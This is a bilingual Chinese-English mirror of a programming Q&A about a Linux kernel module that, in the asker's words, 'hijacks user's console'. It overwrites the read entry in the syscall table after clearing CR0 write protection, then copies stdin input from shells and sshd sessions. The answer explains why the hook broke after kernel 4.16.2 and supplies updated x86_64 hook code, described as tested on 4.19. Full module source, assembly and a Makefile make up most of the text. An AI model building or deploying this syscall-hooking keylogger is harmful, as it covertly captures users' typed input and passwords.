新Linux内核中的内存隔离,还是什么? [英] Memory Isolation in new Linux Kernels, or what?

查看:141
本文介绍了新Linux内核中的内存隔离,还是什么?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

这个我的模块完美地劫持了用户的控制台: https://pastebin.com/99YJFnaq

This my module perfectly hijacks user's console: https://pastebin.com/99YJFnaq

这是Linux内核4.12,Kali 2018.1..

And it was Linux kernel 4.12, Kali 2018.1.

现在,我已经安装了最新版本的Kali-2019.1.它使用内核4.19:

Now, I've installed the latest version of Kali - 2019.1. It uses kernel 4.19:

Linux kali 4.19.0-kali1-amd64#1 SMP Debian 4.19.13-1kali1 (2019-01-03)x86_64 GNU/Linux

Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux

我正在尝试捕获任何东西,但fd == 0时没有任何东西在流中.

I'm trying to catch anything, but nothing with fd == 0 exists in flow.


我已经搜索了很长时间,试图在其他资源上阅读changelogs ...


I've googled for a long long time, tried to read changelogs on different resources...

我已经找到了这样的模块kpti,它可能会做类似的事情,但是该模块未安装在Kali 2019.1.中.

I've found such module kpti, which probably would do something like that, but this module is not installed in Kali 2019.1.

请帮我找出这段代码中hacked_read停止听到sys_read()的确切原因:

Please, help me find the exact reason why hacked_read in this piece of code stopped hearing sys_read():

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <mail@domain.com>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded\n" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded\n" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

我确定像之前一样,所有内容都会继续调用sys_read(). teebashvi-在短时间内无法更改所有这些内容,但是linux-kernel.

I'm sure that everything like before keeps calling sys_read(). tee, bash, vi - all this stuff could not be changed in such short period, but linux-kernel.

通过旁路我会感激代码.

推荐答案

一些故障排除显示如下:

A bit of troubleshooting shows the following:

  • 当然,没有用户空间程序使用read()停止.他们仍然继续称呼它.
  • 没有内存隔离".在模块初始化期间成功修改了syscalls表,并且sys_read()的指针已成功替换为hacked_read_test()的指针.
  • 加载模块后,read() syscall就像原始模块一样工作.
  • 行为变化发生在内核4.164.16.2之间(即 2018年4月1日 2018年4月12日之间).
  • Of course, none of userspace programs stopped using read(). They still keep calling it.
  • There is no "memory isolation". The syscalls table is succesfully modified during the module initialization and the pointer to sys_read() is successfully replaced with pointer to hacked_read_test().
  • When the module is loaded, the read() syscall works as if it was the original one.
  • The change in the behavior happened between kernels 4.16 and 4.16.2 (i.e. between April 1, 2018 and April 12, 2018).

考虑到这一点,我们要检查的提交列表非常狭窄,并且更改可能在syscalls机制中.好吧,看起来像我们正在寻找的提交(还有其他一些内容)

Considering this, we have pretty narrow list of commits to check, and the changes are likely to be in the syscalls mechanism. Well, looks like this commit is what we are looking for (and few more around).

此提交的关键部分是更改由SYSCALL_DEFINEx定义的功能的签名,以便它们接受

The crucial part of this commit is that it changes signatures of the functions defined by SYSCALL_DEFINEx so that they accept a pointer to struct pt_regs instead of syscall arguments, i.e. sys_read(unsigned int fd, char __user * buf, size_t count) becomes sys_read(const struct pt_regs *regs). This means, that hacked_read_test(unsigned int fd, char *buf, size_t count) is no longer a valid replacement for sys_read()!

因此,对于新内核,您将sys_read(const struct pt_regs *regs)替换为hacked_read_test(unsigned int fd, char *buf, size_t count).为什么这不会崩溃,而是像原始的sys_read()一样起作用?再次考虑hacked_read_test()的简化版本:

So, with new kernels you replace sys_read(const struct pt_regs *regs) with hacked_read_test(unsigned int fd, char *buf, size_t count). Why this does not crash and instead works as if it was the original sys_read()? Consider the simplified version of hacked_read_test() again:

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    if ( fd != 0 ) {
        return original_read( fd, buf, count );
    } else {
        // ...
    }
}

好吧.第一个函数参数通过%rdi寄存器传递. sys_read()的调用方将指向struct pt_regs的指针放入%rdi中并执行调用.执行流进入hacked_read_test()内部,并且检查第一个参数fd是否不为零.考虑到此参数包含一个有效的指针而不是文件描述符,此条件成功,控制流直接转到original_read(),它将fd值(即,实际上是指向struct pt_regs的指针)作为第一个参数,然后按原本的意图成功地使用了它.因此,由于内核4.16.2您的hacked_read_test() 有效的工作方式如下:

Well. The first function argument is passed via %rdi register. The caller of sys_read() places a pointer to struct pt_regs into %rdi and performs a call. The execution flow goes inside hacked_read_test(), and the first argument, fd, is checked for not being zero. Considering that this argument contains a valid pointer instead of file descriptor, this condition succeeds and the control flow goes directly to original_read(), which receives the fd value (i.e., actually, the pointer to struct pt_regs) as a first argument, which, in turn, then gets successfully used as it was originally meant to be. So, since kernel 4.16.2 your hacked_read_test() effectively works as follows:

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    return original_read( regs );
}

要确保这一点,您可以尝试使用hacked_read_test()的替代版本:

To make sure about it, you can try the alternative version of hacked_read_test():

unsigned long hacked_read_test( void *ptr ) {    
    if ( ptr != 0 ) {
        info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
        return original_read( ptr );
    } else {
        return -EINVAL;
    }
}

编译并insmod此版本后,您将获得以下内容:

After compiling and insmoding this version, you get the following:

invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)

您可以创建hacked_read_test()的工作版本,但是该实现似乎与平台有关,因为您必须从regs的适当寄存器字段中提取参数(对于x86_84,这些是%rdi%rsi%rdx分别用于第一个,第二个和第三个系统调用参数).

You may create a working version of hacked_read_test(), but it seems that the implementation will be platform-dependent, as you will have to extract the arguments from the appropriate register fields of regs (for x86_84 these are %rdi, %rsi and %rdx for 1st, 2nd and 3rd syscall arguments respectively).

有效的x86_64实现如下(在内核4.19上测试).

The working x86_64 implementation is below (tested on kernel 4.19).

#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

这篇关于新Linux内核中的内存隔离,还是什么?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆